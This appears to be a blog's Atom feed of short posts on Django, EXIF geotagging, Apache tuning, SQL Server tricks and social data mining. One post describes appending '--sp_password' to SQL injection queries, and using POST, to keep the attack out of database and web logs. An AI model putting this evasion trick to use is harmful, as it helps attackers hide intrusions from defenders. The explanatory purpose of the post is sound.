<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-36312929</id><updated>2012-01-06T15:57:32.545-05:00</updated><category term='apache'/><category term='Consistency Problems'/><category term='The Street'/><category term='PIL'/><category term='Computer Science'/><category term='geotagging'/><category term='MySQL'/><category term='data mining'/><category term='ACID Properties'/><category term='SQL Server 2008'/><category term='Social Sample'/><category term='ajax'/><category term='SQL Injection'/><category term='Software Development'/><category term='SQL Server 2005'/><category term='Query Tuning'/><category term='front end performance'/><category term='Online Indexing'/><category term='AJAX.ASP.NET'/><category term='AjaxControlToolkit'/><category term='TSQL'/><category term='Concurrency'/><category term='numbers_tbl'/><category term='Locking'/><category term='python'/><category term='Social Suggester'/><category term='Django'/><category term='Capital IQ'/><category term='mod_deflate'/><category term='Longhorn'/><category term='asp.net'/><category term='IIS7'/><category term='Indexed Views'/><category term='atlas'/><category term='Transaction Isolation'/><category term='mod_expires'/><category term='Database Systems'/><category term='.NET'/><category term='Cursors'/><title type='text'>Evan Reiser's Blog</title><subtitle type='html'>Technology, Database Systems, Computer Systems Engineering, &amp; Web Design</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://evanreiser.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/36312929/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://evanreiser.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>Evan Reiser</name><uri>http://www.blogger.com/profile/01139605078652057619</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='17' src='http://3.bp.blogspot.com/_7NyTnt202Ww/SWGa9n2BMSI/AAAAAAAAAMU/J94zxuAkhec/s1600-R/brothers_t550.jpg'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>37</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-36312929.post-576927962806599797</id><published>2009-04-28T14:39:00.002-04:00</published><updated>2009-04-28T14:40:50.963-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Django'/><title type='text'>Halve your site's page sizes in 5 minutes</title><content type='html'>&lt;div&gt;This reduces our page sizes by up to 50%+&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;from django.utils.html import strip_spaces_between_tags&lt;br /&gt;from django.conf import settings&lt;br /&gt;&lt;br /&gt;class SpacelessMiddleware(object):&lt;br /&gt;   def process_response(self, request, response):&lt;br /&gt;       if not settings.DEBUG:&lt;br /&gt;           if 'text/html' in response['Content-Type']:&lt;br /&gt;               response.content = strip_spaces_between_tags(response.content)&lt;br /&gt;       return response&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/36312929-576927962806599797?l=evanreiser.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://evanreiser.blogspot.com/feeds/576927962806599797/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=36312929&amp;postID=576927962806599797' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/36312929/posts/default/576927962806599797'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/36312929/posts/default/576927962806599797'/><link rel='alternate' type='text/html' href='http://evanreiser.blogspot.com/2009/04/halve-your-sites-page-sizes-in-5.html' title='Halve your site&apos;s page sizes in 5 minutes'/><author><name>Evan Reiser</name><uri>http://www.blogger.com/profile/01139605078652057619</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='17' src='http://3.bp.blogspot.com/_7NyTnt202Ww/SWGa9n2BMSI/AAAAAAAAAMU/J94zxuAkhec/s1600-R/brothers_t550.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-36312929.post-7400983513340294994</id><published>2009-03-03T22:31:00.002-05:00</published><updated>2009-03-03T23:20:10.902-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='SQL Injection'/><category scheme='http://www.blogger.com/atom/ns#' term='Django'/><category scheme='http://www.blogger.com/atom/ns#' term='Database Systems'/><title type='text'>I havent had to worry about SQL recently</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://imgs.xkcd.com/comics/exploits_of_a_mom.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 666px; height: 205px;" src="http://imgs.xkcd.com/comics/exploits_of_a_mom.png" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div&gt;I'm happy django does all the database work for me so i can spend my time building features and writing the same snippets of code all over the application.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;a href="http://www.evanreiser.com/2007/09/why-you-should-use-stored-procedures.html"&gt;More on SQL Injection&lt;/a&gt;&lt;br /&gt;&lt;span class="Apple-style-span"   style="  font-style: italic; font-variant: small-caps; font-weight: bold;font-family:Lucida;font-size:12px;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/36312929-7400983513340294994?l=evanreiser.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://evanreiser.blogspot.com/feeds/7400983513340294994/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=36312929&amp;postID=7400983513340294994' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/36312929/posts/default/7400983513340294994'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/36312929/posts/default/7400983513340294994'/><link rel='alternate' type='text/html' href='http://evanreiser.blogspot.com/2009/03/i-havent-had-to-worry-about-sql.html' title='I havent had to worry about SQL recently'/><author><name>Evan Reiser</name><uri>http://www.blogger.com/profile/01139605078652057619</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='17' src='http://3.bp.blogspot.com/_7NyTnt202Ww/SWGa9n2BMSI/AAAAAAAAAMU/J94zxuAkhec/s1600-R/brothers_t550.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-36312929.post-423898571718754847</id><published>2008-01-08T11:04:00.000-05:00</published><updated>2008-01-08T11:15:34.257-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='PIL'/><category scheme='http://www.blogger.com/atom/ns#' term='geotagging'/><category scheme='http://www.blogger.com/atom/ns#' term='python'/><title type='text'>Python + PIL: Make Geotagged photos from EXIF Headers</title><content type='html'>For my django app, i wanted to take geotagged images and display them on google maps.  Geotagged images store GPS data in the EXIF headers of the image, so we'll want to grab this data and extract the lattitude and longitude so we can display where the image was taken in our mapping software.&lt;br /&gt;&lt;br /&gt;Using the PIL library we can grab the GPS data out of the image and format it in a way to easily display on a google map. PIL really does all the work for us, all we have to do is convert the Lat/Lng from DDD&lt;b&gt;&lt;span style="font-size:130%;"&gt;°&lt;/span&gt;&lt;/b&gt;, MM&lt;b&gt;&lt;span style="font-size:130%;"&gt;'&lt;/span&gt;&lt;/b&gt;, SS.S&lt;b&gt;&lt;span style="font-size:130%;"&gt;"&lt;/span&gt;&lt;/b&gt; format stored in image to DD.DDDDD&lt;b&gt;&lt;span style="font-size:130%;"&gt;°&lt;/span&gt;&lt;/b&gt; format that google uses&lt;br /&gt;&lt;br /&gt;Hidden in the Exif data we see this:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;34853: {0: (2, 0, 0, 0), 1: 'N', 2: ((40, 1), (37, 1), (279, 10)), 3: 'W', 4: ((74, 1), (8, 1), (373, 10)), 5: 0, 6: (0, 1), 7: ((18, 1), (58, 1), (19, 1)), 9: 'A', 18: 'WGS-84'}&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;We can then use the following python to extract the data, convert and save it to our photo object&lt;br /&gt;&lt;blockquote&gt;from PIL import Image&lt;br /&gt;from PIL.ExifTags import TAGS&lt;br /&gt;&lt;br /&gt;i = Image.open('/pics/DSC07018.JPG')&lt;br /&gt;info = i._getexif()&lt;br /&gt;&lt;br /&gt;ret = {}&lt;br /&gt;for tag,value in info.items():                                           &lt;br /&gt;    decoded = TAGS.get(tag, tag)&lt;br /&gt;    ret[decoded] = value&lt;br /&gt;&lt;br /&gt;Nsec = ret['GPSInfo'][2][2][0] / float(ret['GPSInfo'][2][2][1])&lt;br /&gt;Nmin = ret['GPSInfo'][2][1][0]  / float(ret['GPSInfo'][2][1][1])&lt;br /&gt;Ndeg = ret['GPSInfo'][2][0][0]  / float(ret['GPSInfo'][2][0][1])&lt;br /&gt;Wsec = ret['GPSInfo'][4][2][0]  / float(ret['GPSInfo'][4][2][1])&lt;br /&gt;Wmin = ret['GPSInfo'][4][1][0]  / float(ret['GPSInfo'][4][1][1])&lt;br /&gt;Wdeg = ret['GPSInfo'][4][0][0]  / float(ret['GPSInfo'][4][0][1])&lt;br /&gt;&lt;br /&gt;if ret['GPSInfo'][1] == 'N':&lt;br /&gt;    Nmult = 1&lt;br /&gt;else:&lt;br /&gt;    Nmult = -1&lt;br /&gt;&lt;br /&gt;if ret['GPSInfo'][1] == 'E':&lt;br /&gt;    Wmult = 1&lt;br /&gt;else:&lt;br /&gt;    Wmult = -1&lt;br /&gt;&lt;br /&gt;Lat = Nmult * (Ndeg + (Nmin + Nsec/60.0)/60.0)&lt;br /&gt;Lng = Wmult * (Wdeg + (Wmin + Wsec/60.0)/60.0)&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;Now that you have the Lat and Lng you can save to your model or class to easily display in your web app.&lt;br /&gt;&lt;br /&gt;photo= GMapPhoto()&lt;br /&gt;photo.image = i&lt;br /&gt;photo.lattitude = Lat&lt;br /&gt;photo.longitude = Lng&lt;br /&gt;photo.save()&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/36312929-423898571718754847?l=evanreiser.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://evanreiser.blogspot.com/feeds/423898571718754847/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=36312929&amp;postID=423898571718754847' title='5 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/36312929/posts/default/423898571718754847'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/36312929/posts/default/423898571718754847'/><link rel='alternate' type='text/html' href='http://evanreiser.blogspot.com/2008/01/python-pil-make-geotagged-photos-from.html' title='Python + PIL: Make Geotagged photos from EXIF Headers'/><author><name>Evan Reiser</name><uri>http://www.blogger.com/profile/01139605078652057619</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='17' src='http://3.bp.blogspot.com/_7NyTnt202Ww/SWGa9n2BMSI/AAAAAAAAAMU/J94zxuAkhec/s1600-R/brothers_t550.jpg'/></author><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-36312929.post-3705153324867151313</id><published>2007-12-17T15:00:00.000-05:00</published><updated>2007-12-17T15:35:26.434-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='front end performance'/><category scheme='http://www.blogger.com/atom/ns#' term='mod_deflate'/><category scheme='http://www.blogger.com/atom/ns#' term='mod_expires'/><category scheme='http://www.blogger.com/atom/ns#' term='apache'/><title type='text'>Make your website faster in 5 minutes</title><content type='html'>The "speed" or "performance" of your website is only based on one thing: how long it takes from when your user clicks until the data gets from your servers to the eyeballs of your user.  Some companies can spend hundreds of hours and millions of dollars tuning queries, to shave off 20% of a 5ms query, but at the end of the day all that matters is your application's response time as perceived by the end user.&lt;br /&gt;&lt;br /&gt;For most websites I'd say 2% of the time is spent in the database, 20% in the app code, 10-20% in transfer or latency, while the rest is spent or wasted on the front end.  If i was going to spend the least amount of time/money to increase the most performance, I would focus on the front end of the application. Specifically, on how the browser requests, caches and renders data.&lt;br /&gt;&lt;br /&gt;You're end user shouldn't have to wait around for stuff he doesn't need.  Theres no point in hitting the webserver again and again requesting the same exact media files (css/javascript/images).  These dont change so its a waste of processing power and bandwidth to server them.  In order to prevent the user's browser you have to explain that their local cache shouldn't expire instantly.  Set far future expires headers on your static content and you wont have to server it again and again.  Doing this is trivial in either Apache of IIS&lt;br /&gt;&lt;blockquote&gt;&lt;/blockquote&gt;&lt;blockquote&gt;ExpiresActive On&lt;br /&gt;ExpiresDefault "access plus 1 month"&lt;br /&gt;&lt;/blockquote&gt;This is what i have set on my static content server, if you're using the same webserver to serve up dynamic content, you probably want to specify expires header by type instead&lt;br /&gt;&lt;blockquote&gt;ExpiresByType image/gif A2592000&lt;br /&gt;ExpiresByType image/png A2592000&lt;br /&gt;ExpiresByType image/jpg A2592000&lt;br /&gt;ExpiresByType image/jpeg A2592000&lt;br /&gt;ExpiresByType application/x-javascript A2592000&lt;br /&gt;ExpiresByType text/css A2592000&lt;br /&gt;&lt;/blockquote&gt;You might have just reduced your bandwidth and response time by 20%. Additionally, read up on ETags and why they should be configured correctly. Probably just do this&lt;br /&gt;&lt;blockquote&gt;FileETag none&lt;/blockquote&gt;Obviously, you want to send as little data as possible out of your webserver.  Reducing file sizes and using common css/js files are pretty obvious performance techniques.  What you might also want to do is compress text files as they are sent form your webserver; modern browsers can decode GZip'ed data at the small expense of processing power.  To enable apache webserver to send gzip content use mod_deflate&lt;br /&gt;&lt;blockquote&gt;AddOutputFilterByType DEFLATE text/html text/plain text/xml text/css application/x-javascript&lt;/blockquote&gt;In my experience this seems to reduce the size of html/js/css files by 60% or more.  Obviously this will reduce the transfer time of your content.&lt;br /&gt;&lt;br /&gt;Finally, understand how browsers render web pages. Any time JavaScript is run, the browser will block page rendering.  This is because JavaScript is able to write out data to the page.  If you load all your JavaScript in the , your page won't start rendering on the client until it has all been transfered and loaded on the browser.  Additionally you probably want to load all of your CSS as soon as possible; that way you can get required images as soon as possible if needed.  A good rule of thumb:&lt;br /&gt;&lt;br /&gt;Put your CSS at the top of the page&lt;br /&gt;Put your JavaScript at the bottom of the page&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_7NyTnt202Ww/R2bcChaejaI/AAAAAAAAAE0/5u3ntEpeDoQ/s1600-h/Untitled.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://1.bp.blogspot.com/_7NyTnt202Ww/R2bcChaejaI/AAAAAAAAAE0/5u3ntEpeDoQ/s400/Untitled.jpg" alt="" id="BLOGGER_PHOTO_ID_5145041560204643746" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;On a side note, Django rocks and mootools rocks&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/36312929-3705153324867151313?l=evanreiser.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://evanreiser.blogspot.com/feeds/3705153324867151313/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=36312929&amp;postID=3705153324867151313' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/36312929/posts/default/3705153324867151313'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/36312929/posts/default/3705153324867151313'/><link rel='alternate' type='text/html' href='http://evanreiser.blogspot.com/2007/12/make-your-website-faster-in-5-minutes.html' title='Make your website faster in 5 minutes'/><author><name>Evan Reiser</name><uri>http://www.blogger.com/profile/01139605078652057619</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='17' src='http://3.bp.blogspot.com/_7NyTnt202Ww/SWGa9n2BMSI/AAAAAAAAAMU/J94zxuAkhec/s1600-R/brothers_t550.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_7NyTnt202Ww/R2bcChaejaI/AAAAAAAAAE0/5u3ntEpeDoQ/s72-c/Untitled.jpg' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-36312929.post-2680882857385220752</id><published>2007-11-06T13:13:00.000-05:00</published><updated>2007-11-06T14:06:21.505-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Software Development'/><title type='text'>The Fine Art of Software Estimation</title><content type='html'>Overheard at Social Sample:&lt;br /&gt;&lt;blockquote&gt;"by the way 25-30 hours really means 60 hours"&lt;br /&gt;&lt;br /&gt;"I'm just taking all estimates and doubling them now...even if people have already doubled them, i'm doing it again; blanket policy"&lt;br /&gt;&lt;/blockquote&gt;Maybe we need some &lt;a href="http://joelonsoftware.com/items/2007/10/26.html"&gt;Evidence Based Estimation&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/36312929-2680882857385220752?l=evanreiser.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://evanreiser.blogspot.com/feeds/2680882857385220752/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=36312929&amp;postID=2680882857385220752' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/36312929/posts/default/2680882857385220752'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/36312929/posts/default/2680882857385220752'/><link rel='alternate' type='text/html' href='http://evanreiser.blogspot.com/2007/11/fine-art-of-software-estimation.html' title='The Fine Art of Software Estimation'/><author><name>Evan Reiser</name><uri>http://www.blogger.com/profile/01139605078652057619</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='17' src='http://3.bp.blogspot.com/_7NyTnt202Ww/SWGa9n2BMSI/AAAAAAAAAMU/J94zxuAkhec/s1600-R/brothers_t550.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-36312929.post-8851512708669302115</id><published>2007-11-02T14:59:00.000-04:00</published><updated>2007-11-04T11:36:54.153-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Social Suggester'/><category scheme='http://www.blogger.com/atom/ns#' term='data mining'/><category scheme='http://www.blogger.com/atom/ns#' term='Social Sample'/><title type='text'>Metallica Fans Don't Support Hilary Clinton</title><content type='html'>What happens when you take a giant database full of social data and do some light data-mining and statistics: lots of random facts! (arguable worthless or priceless depending on what you use them for).&lt;br /&gt;&lt;br /&gt;I am spending my Friday at Social Sample analyzing social data from supporters of 2008 presidential candidates; data found on online social networks.  After coming up with some basic demographics, I searched the user base for music interests with high correlations to the normal population.  A similar algorithm to what powers &lt;a href="http://www.socialsuggester.com/"&gt;Social Suggester.&lt;/a&gt; I found that the artists / bands with the highest correlation to Hillary Clinton supporters were:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;"MADONNA"&lt;br /&gt;"TORI AMOS"&lt;br /&gt;"FIONA APPLE"&lt;br /&gt;"BJORK"&lt;br /&gt;"PRINCE"&lt;br /&gt;"DEPECHE MODE"&lt;br /&gt;"GWEN STEFANI"&lt;br /&gt;"PORTISHEAD"&lt;br /&gt;"THE SMITHS"&lt;br /&gt;"ELTON JOHN"&lt;br /&gt;"NO DOUBT"&lt;br /&gt;"KELLY CLARKSON"&lt;br /&gt;"MILES DAVIS"&lt;br /&gt;"THE CURE"&lt;br /&gt;"JUSTIN TIMBERLAKE"&lt;/blockquote&gt;Hmm Interesting.  Now what happens if you change the Social Suggester ranking algorithm to find the bands/artists with the lowest correlation between these two data sets?&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;"ATREYU"&lt;br /&gt;"THE USED"&lt;br /&gt;"MUDVAYNE"&lt;br /&gt;"SLIPKNOT"&lt;br /&gt;"TAKING BACK SUNDAY"&lt;br /&gt;"BREAKING BENJAMIN"&lt;br /&gt;"YELLOWCARD"&lt;br /&gt;"DISTURBED"&lt;br /&gt;"HINDER"&lt;br /&gt;"BLINK 182"&lt;br /&gt;"PANTERA"&lt;br /&gt;"50 CENT"&lt;br /&gt;"STAIND"&lt;br /&gt;"METALLICA"&lt;br /&gt;"SYSTEM OF A DOWN"&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;Also Interesting.  These correlations weren't extremely high, but Hillary Clinton supporters that use online social networks were 4x less likely to be a fan of 50 Cent, and 5x less likely to be a fan of Breaking Benjamin.  I'm not going to make any assumptions about what kind of people support Hillary Clinton, all we can say is that there a high correlation between the types of people who enjoy the first set of artists/bands, and a low correlation between the second.  If anyone reads this please feel free to share any insight; please let me know if there are any other subcultures you'd like to see info on.  I'll leave with some random data about Hillary Clinton supporters, (these are not facts [read: please dont sue me], just the data that our engine spat out based on analysis of the target group). Enjoy.&lt;br /&gt;&lt;br /&gt;Interesting differences (all compared to the normal population, sample size =10.5 Million, all statistically significant)&lt;br /&gt;&lt;br /&gt;Supporters were &lt;span style="font-weight: bold;"&gt;no &lt;/span&gt;more likely to be Female&lt;br /&gt;Supporters were &lt;span style="font-weight: bold;"&gt;10.9x&lt;/span&gt; more likely to be gay&lt;br /&gt;Supporters were 1.25x more likely to be married&lt;br /&gt;Supporters were 1.25x more likely to be a parent&lt;br /&gt;Supporters were 1.50x more likely to be in grad school&lt;br /&gt;&lt;br /&gt;Supporters were 2.01x more likely to be Agnostic&lt;br /&gt;Supporters were 1.9x more likely to be Jewish&lt;br /&gt;Supporters were 2.50x less likely to be Muslim&lt;br /&gt;Supporters were 1.12x less likely to be Catholic&lt;br /&gt;&lt;br /&gt;The same proportion of supporters Smoke cigarettes, but they are 1.1x less likely to drink alcohol&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Find other high correlations at &lt;a href="http://www.socialsuggester.com/"&gt;Social Suggester&lt;/a&gt;, or contact me for something specific. evan &lt;span style="color: rgb(102, 0, 0);"&gt;at&lt;/span&gt; socialsample . com&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/36312929-8851512708669302115?l=evanreiser.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://evanreiser.blogspot.com/feeds/8851512708669302115/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=36312929&amp;postID=8851512708669302115' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/36312929/posts/default/8851512708669302115'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/36312929/posts/default/8851512708669302115'/><link rel='alternate' type='text/html' href='http://evanreiser.blogspot.com/2007/11/analyzing-social-data.html' title='Metallica Fans Don&apos;t Support Hilary Clinton'/><author><name>Evan Reiser</name><uri>http://www.blogger.com/profile/01139605078652057619</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='17' src='http://3.bp.blogspot.com/_7NyTnt202Ww/SWGa9n2BMSI/AAAAAAAAAMU/J94zxuAkhec/s1600-R/brothers_t550.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-36312929.post-2091370480115276531</id><published>2007-10-03T11:39:00.000-04:00</published><updated>2007-10-03T11:40:49.133-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='SQL Server 2005'/><title type='text'>A cool way to alias columns</title><content type='html'>A cool way to alias columns, dunno how useful this is, but kinda cool&lt;p class="MsoNormal"&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;; color: blue;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;; color: blue;"&gt;&lt;/span&gt;&lt;/p&gt;&lt;blockquote&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;; color: blue;"&gt;Select&lt;/span&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt; t&lt;span style="color: gray;"&gt;.&lt;/span&gt;alpha&lt;span style="color: gray;"&gt;,&lt;/span&gt; t&lt;span style="color: gray;"&gt;.&lt;/span&gt;beta&lt;span style="color: gray;"&gt;,&lt;/span&gt; t&lt;span style="color: gray;"&gt;.&lt;/span&gt;gamma&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;; color: blue;"&gt;FROM&lt;/span&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;; color: gray;"&gt;(&lt;/span&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;; color: blue;"&gt;SELECT&lt;/span&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt; 11&lt;span style="color: gray;"&gt;,&lt;/span&gt;22&lt;span style="color: gray;"&gt;,&lt;/span&gt;33&lt;span style="color: gray;"&gt;)&lt;/span&gt;t&lt;span style="color: gray;"&gt;(&lt;/span&gt;alpha&lt;span style="color: gray;"&gt;,&lt;/span&gt;beta&lt;span style="color: gray;"&gt;,&lt;/span&gt;gamma&lt;span style="color: gray;"&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style="color: gray;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;p&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/36312929-2091370480115276531?l=evanreiser.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://evanreiser.blogspot.com/feeds/2091370480115276531/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=36312929&amp;postID=2091370480115276531' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/36312929/posts/default/2091370480115276531'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/36312929/posts/default/2091370480115276531'/><link rel='alternate' type='text/html' href='http://evanreiser.blogspot.com/2007/10/cool-way-to-alias-columns.html' title='A cool way to alias columns'/><author><name>Evan Reiser</name><uri>http://www.blogger.com/profile/01139605078652057619</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='17' src='http://3.bp.blogspot.com/_7NyTnt202Ww/SWGa9n2BMSI/AAAAAAAAAMU/J94zxuAkhec/s1600-R/brothers_t550.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-36312929.post-8807228248504245047</id><published>2007-09-24T17:29:00.000-04:00</published><updated>2007-09-24T17:44:27.420-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='SQL Injection'/><category scheme='http://www.blogger.com/atom/ns#' term='SQL Server 2005'/><title type='text'>SQL Server Log Bypass</title><content type='html'>SQL Server (in)conveniently doesn't log queries which have sp_password in it (so the passwords don't show up in the logs). &lt;br /&gt;&lt;br /&gt;This means that someone trying to break into your database using SQL injection can tack on "&lt;span id="gr"&gt;--sp_password" to the end of all their queries to avoid leaving a trail in the DB logs.&lt;br /&gt;&lt;br /&gt;Of course all the requests will be stored in the web server log. Unless of course you use POST instead of GET&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/36312929-8807228248504245047?l=evanreiser.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://evanreiser.blogspot.com/feeds/8807228248504245047/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=36312929&amp;postID=8807228248504245047' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/36312929/posts/default/8807228248504245047'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/36312929/posts/default/8807228248504245047'/><link rel='alternate' type='text/html' href='http://evanreiser.blogspot.com/2007/09/sql-server-log-bypass.html' title='SQL Server Log Bypass'/><author><name>Evan Reiser</name><uri>http://www.blogger.com/profile/01139605078652057619</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='17' src='http://3.bp.blogspot.com/_7NyTnt202Ww/SWGa9n2BMSI/AAAAAAAAAMU/J94zxuAkhec/s1600-R/brothers_t550.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-36312929.post-3362182103801337168</id><published>2007-09-23T16:23:00.000-04:00</published><updated>2007-09-24T17:45:00.028-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='MySQL'/><category scheme='http://www.blogger.com/atom/ns#' term='SQL Injection'/><category scheme='http://www.blogger.com/atom/ns#' term='SQL Server 2005'/><title type='text'>Why you should use stored procedures. aka How to do SQL Injection.</title><content 